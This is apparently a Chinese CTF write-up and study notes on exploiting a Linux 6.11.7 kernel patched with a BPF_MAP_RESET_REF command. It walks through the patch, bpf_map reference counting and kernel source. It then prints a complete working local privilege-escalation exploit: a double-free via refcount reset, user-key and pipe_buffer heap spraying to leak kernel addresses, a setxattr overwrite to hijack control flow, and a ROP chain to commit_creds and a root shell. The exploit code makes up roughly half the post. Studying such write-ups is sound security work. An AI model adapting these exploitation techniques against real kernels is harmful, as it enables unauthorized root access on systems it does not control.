bee


ebpf学习笔记

CHECK

run.sh

init

#!/bin/sh

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /etc ] || mkdir /etc

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mount -t tmpfs tmpfs /tmp

cat /etc/banner
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true

ln -sf /proc/mounts /etc/mtab

echo 2 >/proc/sys/kernel/kptr_restrict
echo 1 >/proc/sys/kernel/dmesg_restrict

mdev -s
chown 0:1000 /dev/console
chown 0:1000 /dev/ptmx
chown 0:1000 /dev/tty

chmod 400 flag

[ -e /dev/sda ] && cat /dev/sda >/bin/pwn
chmod 755 /bin/pwn

setsid /bin/cttyhack setuidgid 1000 /bin/sh

poweroff -f

version

cg隔离

无cg隔离

逆向分析

patch

diff -r linux-6.11.7/include/uapi/linux/bpf.h linux-6.11.7.patched/include/uapi/linux/bpf.h
960a961
> BPF_MAP_RESET_REF,
diff -r linux-6.11.7/kernel/bpf/syscall.c linux-6.11.7.patched/kernel/bpf/syscall.c
5690a5691,5711
> static int bpf_map_do_reset_ref(union bpf_attr *attr)
> {
> int ufd = attr->map_fd;
> struct bpf_map *map;
> struct fd f;
> f = fdget(ufd);
> map = __bpf_map_get(f);
> if (IS_ERR(map)) {
> fdput(f);
> return PTR_ERR(map);
> }
> if (map->max_entries > 60) {
> fdput(f);
> return -EINVAL;
> }
> atomic64_set(&map->refcnt, 1);
> atomic64_set(&map->sleepable_refcnt, 0);
> fdput(f);
> return 0;
> }
>
5825a5847,5849
> break;
> case BPF_MAP_RESET_REF:
> err = bpf_map_do_reset_ref(&attr);

ebpf-map

结构体定义:

struct bpf_map {
/* 前两条缓存行带有以读取为主的成员,
* 其中一些也在快速路径中被访问 (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u64 map_extra; /* any per-map-type extra fields */
u32 map_flags;
u32 id;
struct btf_record *record;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
u32 btf_vmlinux_value_type_id;
struct btf *btf;
#ifdef CONFIG_MEMCG_KMEM
struct obj_cgroup *objcg;
#endif
char name[BPF_OBJ_NAME_LEN];
struct btf_field_offs *field_offs;
/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
atomic64_t refcnt ____cacheline_aligned;
atomic64_t usercnt;
struct work_struct work;
struct mutex freeze_mutex;
atomic64_t writecnt;
/* 'Ownership' of program-containing map is claimed by the first program
* that is going to use this map or by the first program which FD is
* stored in the map to make sure that all callers and callees have the
* same prog type, JITed flag and xdp_has_frags flag.
*/
struct {
spinlock_t lock;
enum bpf_prog_type type;
bool jited;
bool xdp_has_frags;
} owner;
bool bypass_spec_v1;
bool frozen; /* write-once; write-protected by freeze_mutex */
};

ebfp-map:https://arttnba3.cn/2023/05/31/EBPF_0X00/#%E4%BA%94%E3%80%81eBPF-map

==学会看patch!!!==

960a961的意思是在960行add一行到961,所以我们的这个新的操作码就在961行,bootlin源代码如下:

![]1732251423645](/images/1732251423645.png)

可以看出就是添加在了最后;经过计算是38;但是实际调试发现是37。。。

然后定位到ida中,

pwndbg> backtrace
#0 0xffffffff8136e1a0 in ?? () //fdget
#1 0xffffffff8135f00e in ?? ()
#2 0xffffc90000167f58 in ?? ()
#3 0xffffc90000167f48 in ?? ()
#4 0x0000000000000000 in ?? ()
pwndbg>

引用计数

sleepable_refcnt 的存在是为了区分普通引用计数和睡眠操作的引用计数,避免因睡眠操作导致资源在不安全状态下被销毁。

增加

在内核中通过bpf_map_inc显式地增加refcnt;

#include <stdio.h>
#include <stdlib.h>
#include <linux/bpf.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define bpf(cmd, attr, size) syscall(__NR_bpf, cmd, attr, size)

// 获取 map 的文件描述符
int get_map_fd_by_id(__u32 map_id) {
struct bpf_attr attr = {0};
attr.map_id = map_id;

int map_fd = bpf(BPF_MAP_GET_FD_BY_ID, &attr, sizeof(attr));
if (map_fd < 0) {
perror("Failed to get map fd by id");
return -1;
}
return map_fd;
}

int main() {
__u32 map_id = 1; // 假设你知道 map 的 ID
int map_fd = get_map_fd_by_id(map_id);
if (map_fd < 0) {
return -1;
}

printf("Successfully got new FD: %d\n", map_fd);
close(map_fd); // 释放该引用
return 0;
}

释放

bpf_map_put:

源代码:https://elixir.bootlin.com/linux/v6.11.7/source/kernel/bpf/syscall.c#L802

close会减少一次map的引用计数并尝试进行释放;(close能调用到bpf_map_put函数)

创建

static int map_create(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
struct bpf_token *token = NULL;
int numa_node = bpf_map_attr_numa_node(attr);
u32 map_type = attr->map_type;
struct bpf_map *map;
bool token_flag;
int f_flags;
int err;

err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;

/* check BPF_F_TOKEN_FD flag, remember if it's set, and then clear it
* to avoid per-map type checks tripping on unknown flag
*/
token_flag = attr->map_flags & BPF_F_TOKEN_FD;
attr->map_flags &= ~BPF_F_TOKEN_FD;

if (attr->btf_vmlinux_value_type_id) {
if (attr->map_type != BPF_MAP_TYPE_STRUCT_OPS ||
attr->btf_key_type_id || attr->btf_value_type_id)
return -EINVAL;
} else if (attr->btf_key_type_id && !attr->btf_value_type_id) {
return -EINVAL;
}

if (attr->map_type != BPF_MAP_TYPE_BLOOM_FILTER &&
attr->map_type != BPF_MAP_TYPE_ARENA &&
attr->map_extra != 0)
return -EINVAL;

f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;

if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;

/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map_type = attr->map_type;
if (map_type >= ARRAY_SIZE(bpf_map_types))
return -EINVAL;
map_type = array_index_nospec(map_type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[map_type];
if (!ops)
return -EINVAL;

if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return err;
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
if (!ops->map_mem_usage)
return -EINVAL;

if (token_flag) {
token = bpf_token_get_from_fd(attr->map_token_fd);
if (IS_ERR(token))
return PTR_ERR(token);

/* if current token doesn't grant map creation permissions,
* then we can't use this token, so ignore it and rely on
* system-wide capabilities checks
*/
if (!bpf_token_allow_cmd(token, BPF_MAP_CREATE) ||
!bpf_token_allow_map_type(token, attr->map_type)) {
bpf_token_put(token);
token = NULL;
}
}

err = -EPERM;

/* Intent here is for unprivileged_bpf_disabled to block BPF map
* creation for unprivileged users; other actions depend
* on fd availability and access to bpffs, so are dependent on
* object creation success. Even with unprivileged BPF disabled,
* capability checks are still carried out.
*/
if (sysctl_unprivileged_bpf_disabled && !bpf_token_capable(token, CAP_BPF))
goto put_token;

/* check privileged map type permissions */
switch (map_type) {
case BPF_MAP_TYPE_ARRAY:
case BPF_MAP_TYPE_PERCPU_ARRAY:
case BPF_MAP_TYPE_PROG_ARRAY:
case BPF_MAP_TYPE_PERF_EVENT_ARRAY:
case BPF_MAP_TYPE_CGROUP_ARRAY:
case BPF_MAP_TYPE_ARRAY_OF_MAPS:
case BPF_MAP_TYPE_HASH:
case BPF_MAP_TYPE_PERCPU_HASH:
case BPF_MAP_TYPE_HASH_OF_MAPS:
case BPF_MAP_TYPE_RINGBUF:
case BPF_MAP_TYPE_USER_RINGBUF:
case BPF_MAP_TYPE_CGROUP_STORAGE:
case BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE:
/* unprivileged */
break;
case BPF_MAP_TYPE_SK_STORAGE:
case BPF_MAP_TYPE_INODE_STORAGE:
case BPF_MAP_TYPE_TASK_STORAGE:
case BPF_MAP_TYPE_CGRP_STORAGE:
case BPF_MAP_TYPE_BLOOM_FILTER:
case BPF_MAP_TYPE_LPM_TRIE:
case BPF_MAP_TYPE_REUSEPORT_SOCKARRAY:
case BPF_MAP_TYPE_STACK_TRACE:
case BPF_MAP_TYPE_QUEUE:
case BPF_MAP_TYPE_STACK:
case BPF_MAP_TYPE_LRU_HASH:
case BPF_MAP_TYPE_LRU_PERCPU_HASH:
case BPF_MAP_TYPE_STRUCT_OPS:
case BPF_MAP_TYPE_CPUMAP:
case BPF_MAP_TYPE_ARENA:
if (!bpf_token_capable(token, CAP_BPF))
goto put_token;
break;
case BPF_MAP_TYPE_SOCKMAP:
case BPF_MAP_TYPE_SOCKHASH:
case BPF_MAP_TYPE_DEVMAP:
case BPF_MAP_TYPE_DEVMAP_HASH:
case BPF_MAP_TYPE_XSKMAP:
if (!bpf_token_capable(token, CAP_NET_ADMIN))
goto put_token;
break;
default:
WARN(1, "unsupported map type %d", map_type);
goto put_token;
}

map = ops->map_alloc(attr);
if (IS_ERR(map)) {
err = PTR_ERR(map);
goto put_token;
}
map->ops = ops;
map->map_type = map_type;

err = bpf_obj_name_cpy(map->name, attr->map_name,
sizeof(attr->map_name));
if (err < 0)
goto free_map;

atomic64_set(&map->refcnt, 1);
atomic64_set(&map->usercnt, 1);
mutex_init(&map->freeze_mutex);
spin_lock_init(&map->owner.lock);

if (attr->btf_key_type_id || attr->btf_value_type_id ||
/* Even the map's value is a kernel's struct,
* the bpf_prog.o must have BTF to begin with
* to figure out the corresponding kernel's
* counter part. Thus, attr->btf_fd has
* to be valid also.
*/
attr->btf_vmlinux_value_type_id) {
struct btf *btf;

btf = btf_get_by_fd(attr->btf_fd);
if (IS_ERR(btf)) {
err = PTR_ERR(btf);
goto free_map;
}
if (btf_is_kernel(btf)) {
btf_put(btf);
err = -EACCES;
goto free_map;
}
map->btf = btf;

if (attr->btf_value_type_id) {
err = map_check_btf(map, token, btf, attr->btf_key_type_id,
attr->btf_value_type_id);
if (err)
goto free_map;
}

map->btf_key_type_id = attr->btf_key_type_id;
map->btf_value_type_id = attr->btf_value_type_id;
map->btf_vmlinux_value_type_id =
attr->btf_vmlinux_value_type_id;
}

err = security_bpf_map_create(map, attr, token);
if (err)
goto free_map_sec;

err = bpf_map_alloc_id(map);
if (err)
goto free_map_sec;

bpf_map_save_memcg(map);
bpf_token_put(token);

err = bpf_map_new_fd(map, f_flags);
if (err < 0) {
/* failed to allocate fd.
* bpf_map_put_with_uref() is needed because the above
* bpf_map_alloc_id() has published the map
* to the userspace and the userspace may
* have refcnt-ed it through BPF_MAP_GET_FD_BY_ID.
*/
bpf_map_put_with_uref(map);
return err;
}

return err;

free_map_sec:
security_bpf_map_free(map);
free_map:
bpf_map_free(map);
put_token:
bpf_token_put(token);
return err;
}

/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/

![]1732266681879](/images/1732266681879.png)

动态调试

ffffffff811ffb70 T bpf_map_put
b *(0xffffffff811ffb70)
kfree 
b *(0xffffffff8130f790)

refcnt:

b *(0xffffffff8120714a)

攻击思路

这是一个kmalloc-512的double-free,不存在cg隔离,所以连续两次释放后(有rcu似乎?),首先利用内核密钥占位,然后利用pipe_buffer占位,越界读内核密钥泄露内核地址;然后释放内核密钥,用setxattr占位写pipe_buffer,劫持控制流;

这里munmap之后并不能实现部分写,缺失的部分会直接用00填充:

劫持控制流后的pt_regs:

KPTI:

原来没开KPTI。。。

攻击成功

![]1732760348703](/images/1732760348703.png)

EXP

exp.c:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>
#include <linux/bpf.h>
#include <sys/syscall.h>
#include <errno.h>

// 保存用户态寄存器状态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm volatile (
"mov %0, cs;"
"mov %1, ss;"
"mov %2, rsp;"
"pushf;"
"pop %3;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

// 绑定 CPU 核
void bindCore(int core) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}


#include <linux/bpf.h>
#include <stdint.h>

static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}

int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
// .map_flags = BPF_F_MMAPABLE,
.inner_map_fd = fd,
};

int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,

};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}


// 重置 BPF map 引用计数
void reset_map_refcnt(int map_fd) {
union bpf_attr attr;
attr.map_fd = map_fd;
attr.map_type = map_fd;//BPF_MAP_TYPE_ARRAY;
attr.key_size = sizeof(int);
attr.value_size = 0x2000;
attr.max_entries = 1;



int res = bpf(37, &attr);
if (res < 0) {
perror("Failed to reset map refcnt");
exit(EXIT_FAILURE);
}

printf("BPF map refcnt reset successfully!\n");
}



#include "key.h"
#define TOTAL_PIPE 100

#include <sys/types.h>
#include <sys/xattr.h>

size_t data[0x1000];
size_t ker_offset;
int pipe_fd;

size_t pop_rbp_ret;
size_t fake_stack;
size_t pop_rsp_ret;
char file[0x1000];

int main() {
save_status();
bindCore(0);

int map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 4, 10);
if(map_fd < 0){
perror("create map_fd");
return -1;
}
printf("map_fd == %d\n", map_fd);

int map_fd2 = create_bpf_array_of_map(map_fd, 4, 4, 1);
if(map_fd2 < 0){
perror("create map_fd2");
return -1;
}
printf("map_fd2 == %d\n", map_fd2);

int map_fd3 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 4, 10);
if(map_fd3 < 0){
perror("create map_fd3");
return -1;
}
printf("map_fd3 == %d\n", map_fd3);

int map_fd4 = create_bpf_array_of_map(map_fd3, 4, 4, 1);
if(map_fd4 < 0){
perror("create map_fd4");
return -1;
}
printf("map_fd4 == %d\n", map_fd4);

int map_fd5 = create_bpf_array_of_map(map_fd3, 4, 4, 1);
if(map_fd5 < 0){
perror("create map_fd5");
return -1;
}
printf("map_fd5 == %d\n", map_fd5);

int key = 0;
bpf_map_update_elem(map_fd4, &key, &map_fd3, BPF_ANY);
bpf_map_update_elem(map_fd5, &key, &map_fd3, BPF_ANY);


reset_map_refcnt(map_fd3);
close(map_fd4);
sleep(1); //close 之后 到kfree存在rcu宽限期,所以要等一下,否则可能连refcnt都没改成0



reset_map_refcnt(map_fd3);
close(map_fd3);
getchar();

int kids[0x100];
spray_key(kids, 1, 0x100);
puts("spray key done");
getchar();

int pipe1[TOTAL_PIPE][2];
memset(data, 's', sizeof(data));
for(int i = 0; i < TOTAL_PIPE; i++){
if(pipe(pipe1[i]) < 0){
perror("create pipe");
break;
}
}
for(int i = 0; i < 1; i++){
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 8 ) < 0){
puts("set pipe size error!");
exit(-1);
}
write(pipe1[i][1], data, 0x1008);
}

puts("spray pipe done");
getchar();



int klen = key_read(kids[0], data, 0x8000);
printf("klen == 0x%x\n", klen);


size_t ops = data[4];
ker_offset = ops - 0xffffffff82427c40;
printf("ker_offset == %p\n", (void *)ker_offset);

size_t heap = -1;
for(int i = 10; i < 0x100; i++){
if(data[i] > 0xffff888000000000 && data[i] < 0xffffffff00000000){
printf("%p\n", (void *)data[i]);
heap = data[i];
break;
}
}
heap = heap & 0xfffffffff0000000;
printf("heap == %p\n", (void *)heap);

size_t magic = ker_offset + 0xffffffff82004941;

size_t rops[0x1000];
int p = 0;
rops[p++] = magic;
rops[p++] = magic;
rops[p++] = magic;
rops[p++] = magic;
rops[p++] = magic;
rops[p++] = magic;

size_t init_cred = ker_offset + 0xffffffff82c52be0;
size_t commit_creds = ker_offset + 0xffffffff810d2440;
size_t pop_rdi_ret = ker_offset + 0xffffffff8138ae7d;
size_t kpti = ker_offset + 0xffffffff8220172c;
size_t msleep = ker_offset + 0xffffffff811583c0;
size_t copy_from_user = ker_offset + 0xffffffff81601da0;
size_t core_pattern = ker_offset + 0xffffffff82d765e0;
size_t pop_rsi_ret = ker_offset + 0xffffffff81000127;
size_t pop_rdx_ret = ker_offset + 0xffffffff8128f3bc;
size_t swapgs_ret = ker_offset + 0xffffffff82076858;
size_t iretq = ker_offset + 0xffffffff8103f745;

memcpy(file, "12345678", 8);
/*
rops[p++] = pop_rdi_ret;
rops[p++] = core_pattern;
rops[p++] = pop_rsi_ret;
rops[p++] = file;
rops[p++] = pop_rdx_ret;
rops[p++] = 8;
rops[p++] = copy_from_user;
rops[p++] = swapgs_ret;
rops[p++] = iretq;
rops[p++] = get_root_shell;
rops[p++] = user_cs;
rops[p++] = user_rflags;
rops[p++] = user_sp;
rops[p++] = user_ss;
*/
/*
rops[p++] = pop_rdi_ret;
rops[p++] = init_cred;
rops[p++] = commit_creds;
rops[p++] = kpti;
rops[p++] = 0LL;
//rops[p++] = 0LL;
rops[p++] = get_root_shell;
rops[p++] = user_cs;
rops[p++] = user_rflags;
rops[p++] = user_sp;
rops[p++] = user_ss;
*/

rops[p++] = pop_rdi_ret;
rops[p++] = init_cred;
rops[p++] = commit_creds;
rops[p++] = swapgs_ret;
rops[p++] = iretq;
rops[p++] = get_root_shell;
rops[p++] = user_cs;
rops[p++] = user_rflags;
rops[p++] = user_sp;
rops[p++] = user_ss;

write(pipe1[0][1], rops, 0x1000);
puts("write rops done");


klen = key_read(kids[0], data, 0x8000);
for(int i = 0; i < 15; i++){
printf("read2 : %p\n", (void *)data[i]);
}
size_t page = data[7];
size_t page_off = page & 0xfffffff;
page_off = page_off / 0x40;
page_off = page_off * 0x1000;

size_t pipe_addr = heap + page_off;
printf("pipe_addr == %p\n", (void *)pipe_addr);
printf("kpti == %p\n", (void *)kpti);

getchar();



key_revoke(kids[0]);
puts("key revoke done");
getchar();

size_t pay[0x1000];
int k = 0;
pay[k++] = page - 0x80;
pay[k++] = 0x100000000000;
pay[k++] = pipe_addr;
pay[k++] = 0x10;
pay[k++] = 0;

pay[k++] = page - 0x40;
pay[k++] = 0x100000000000;
pay[k++] = pipe_addr;
pay[k++] = 0x10;
pay[k++] = 0;

pay[k++] = page;
pay[k++] = 0x100000000000;
pay[k++] = pipe_addr;
pay[k++] = 0x10;
pay[k++] = 0;

setxattr("/tmp/", "user.attribute", pay, 0x110, 0);

pop_rbp_ret = ker_offset + 0xffffffff8128f0c7;
fake_stack = pipe_addr + 0x30;
pop_rsp_ret = ker_offset + 0xffffffff8118509f;

for(int i = 0; i < 1; i++){
close(pipe1[i][0]);
pipe_fd = pipe1[i][1];
__asm__(
"mov rdi, pipe_fd;"
"mov rsi, 0;"
"mov rdx, 8;"
"mov r15, pop_rsp_ret;"
"mov r14, fake_stack;"
"mov r13, 0xdddddddd;"
"mov r12, 0xcccccccc;"
"mov r11, 0xbbbbbbbb;"
"mov r10, 0xaaaaaaaaa;"
"mov r9, 0x99999999;"
"mov rax, 3;"
"syscall;"

);
}


puts("end");
getchar();
return 0;
}

key.h:

#include <linux/keyctl.h>
#include <sys/syscall.h>
#include <unistd.h>

#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specifi*/
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's cont*/

int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

void spray_key(int *ids, int times, int len){
char des[0x100];
char pay[0x1000];
memset(des, 0, sizeof(des));
memset(pay, 0, sizeof(pay));
for(int i = 0; i < times; i++){
memset(des, 'A'+i, 0xa0);
memset(pay, 'a'+i, len);
ids[i] = key_alloc(des, pay, len);
if(ids[i] < 0){
printf("fail key_id == %d\n", i);
perror("key_alloc");
return ;
}
}
}
void spray_key_data(int *ids, int times, int len, char *data){
char des[0x100];
char pay[0x1000];
memset(des, 0, sizeof(des));
memset(pay, 0, sizeof(pay));
for(int i = 0; i < times; i++){
memset(des, 'A'+i, 0xa0);
memset(pay, 'a'+i, len);
ids[i] = key_alloc(des, data, len);
if(ids[i] < 0){
printf("fail key_id == %d\n", i);
perror("key_alloc");
return ;
}
}
}


收获

  1. 看patch定位行号;
  2. attr、map等结构;
  3. 内核逆向:分析发现不可能是38,然后发现37的代码很可疑,就确认了37是目标代码;
  4. 如何确定bpf_map的大小?
  5. bpf_map的基本用法与接口;
  6. KPTI原理;

文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录